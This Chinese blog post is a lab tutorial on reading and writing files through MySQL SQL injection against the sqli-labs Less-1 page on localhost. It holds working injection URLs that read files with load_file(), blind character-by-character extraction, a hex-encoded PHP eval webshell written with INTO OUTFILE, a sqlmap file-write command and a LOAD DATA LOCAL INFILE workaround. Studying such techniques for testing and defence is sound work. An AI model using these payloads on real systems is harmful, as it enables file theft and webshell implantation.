首页 > 数据库技术 > 详细

sql注入文件读写

时间:2021-06-04 14:30:10      阅读:33      评论:0      收藏:0      [点我收藏+]

secure_file_priv对读写文件的影响:

secure_file_priv在mysql的my.ini中设置,用来限制 load_file()、into outfile、into dumpfile 函数在哪个目录下拥有上传或者读取文件的权限secure_file_priv的值默认为NULL,即不允许导入导出。


sql注入文件读写方式:

load_file() :读取指定文件

LOAD DATA LOCAL INFILE:读取指定文件[当secure_file_priv为null时可以代替load_file()]

into outfile :将查询的数据写入文件中

into dumpfile:将查询的数据写入文件中 (只能写入一行数据)

sqlmap: --file-write 要写入的文件 --file-dest 写入的绝对路径


查看secure_file_priv设置状态

show global variables like ‘secure%‘;

限制mysqld 不允许导入/导出:secure_file_priv=null (默认)

限制mysqld 的导入/导出 只能发生在/tmp/目录下:secure_file_priv=/tmp/

不对mysqld 的导入/导出做限制:secure_file_priv=‘‘


当secure_file_priv=‘‘时:

技术分享图片

技术分享图片

load_file()读本地文件:

union注入读取本地文件

技术分享图片

http://127.0.0.1/mysql/Less-1/?id=-1‘ union select 1,2,load_file(‘c:/users/91839/desktop/2.txt‘) --+

也可以把文件名转换成16进制

http://127.0.0.1/mysql/Less-1/?id=-1‘ union select 1,2,load_file(0x633A2F75736572732F39313833392F6465736B746F702F312E747874) --+

技术分享图片

利用盲注读取,然后用二分法一个一个的判断字符

其中2.txt第一个字符为c,按照ascii码对照表对应为99

技术分享图片

http://127.0.0.1/mysql/Less-1/?id=1‘ and ascii(mid((select (load_file(‘c:/users/91839/desktop/2.txt‘))),1,1))>98 --+

技术分享图片

http://127.0.0.1/mysql/Less-1/?id=1‘ and ascii(mid((select (load_file(‘c:/users/91839/desktop/2.txt‘))),1,1))>99 --+

技术分享图片

同样也可以用时间盲注,用同样的方式手工把表名和列名读出来

into outfile/into dumpfile:将查询的数据写入文件中

(into dumpfile只能写入一行数据)

利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以

http://127.0.0.1/mysql/Less-1/?id=-1‘ union select 1,2,‘一句话‘ into outfile ‘c:/users/91839/desktop/10.txt‘ --+

技术分享图片

照样可以将一句话木马转换成16进制

http://127.0.0.1/mysql/Less-1/?id=-1‘ union select 1,2,0x3C3F70687020406576616C28245F504F53545B6361726E5D293B3F3E into outfile ‘c:/users/91839/desktop/200.txt‘ --+

技术分享图片

--file-write --file-dest:利用sqlmap写入文件

在sqlmap中,如果写的权限,知道绝对路径,并且secure_file_priv为空就可以写入文件

利用sqlmap将本地文件写入靶机的c:/users/91839/desktop/shell.txt

python3 sqlmap.py -u "http://127.0.0.1/mysql/Less-1/?id=1" --random-agent --risk 3 --file-write "shell.txt" --file-dest "c:/users/91839/desktop/shell.txt"

技术分享图片


当secure_file_priv=null时:

技术分享图片

LOAD DATA LOCAL INFILE

LOAD DATA LOCAL INFILE与load_file都是读取本地文件,load_file只能在secure_file_priv为空时读取,而LOAD DATA LOCAL INFILE不受限制。所以当secure_file_priv 的值为 NULL的时候可以用LOAD DATA LOCAL INFILE来充当load_file的效果

技术分享图片

drop table mysql.m1; //先删除掉这个表

CREATE TABLE mysql.m1 (code TEXT ); //然后创建

LOAD DATA LOCAL INFILE ‘c:/users/91839/desktop/1.txt‘ INTO TABLE mysql.m1 fields terminated by ‘‘; //读取文件

select * from mysql.m1; //查看文件

技术分享图片

sql注入文件读写

原文:https://www.cnblogs.com/car7n/p/14848218.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!